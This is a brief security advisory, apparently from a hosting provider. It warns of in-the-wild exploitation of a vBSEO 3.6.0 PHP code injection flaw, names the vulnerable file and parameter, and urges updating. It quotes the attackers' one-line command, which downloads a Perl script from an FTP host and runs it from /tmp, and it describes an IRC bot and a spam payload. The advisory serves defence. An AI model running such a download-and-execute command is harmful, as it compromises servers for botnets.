We are seeing the use of this exploit in the wild:
BSEO <= 3.6.0 “proc_deutf()” Remote PHP Code Injection
Its been patched for over a year, but someone has automated scanning for vbseocp.php and hosts are getting compromised.
The fix is to update vBSEO to the latest version, and the source of the attack lives here: ./vbseo/includes/functions_vbseocp_abstract.php with improper escaping of the char_repl POST parameter. This is vulnerable whether or not you have register_globals enabled.
The attack we are seeing takes the form of:
cd /tmp;wget ftp://user:pass@host/x.pl;curl -O ftp://user:pass@host/x.pl;perl x.pl;rm -rf x.pl
We have seen two distinct payloads: an IRC c&c bot and a spam engine executing from /tmp/. The IRC bot sets its name as /usr/local/sbin/httpd to appear benign and makes outbound IRC connections.
If you think you may be infected, contact us as soon as possible so we can get this removed and locked down. Our standard countermeasures would have prevented this attack even on unpatched hosts.
-Eric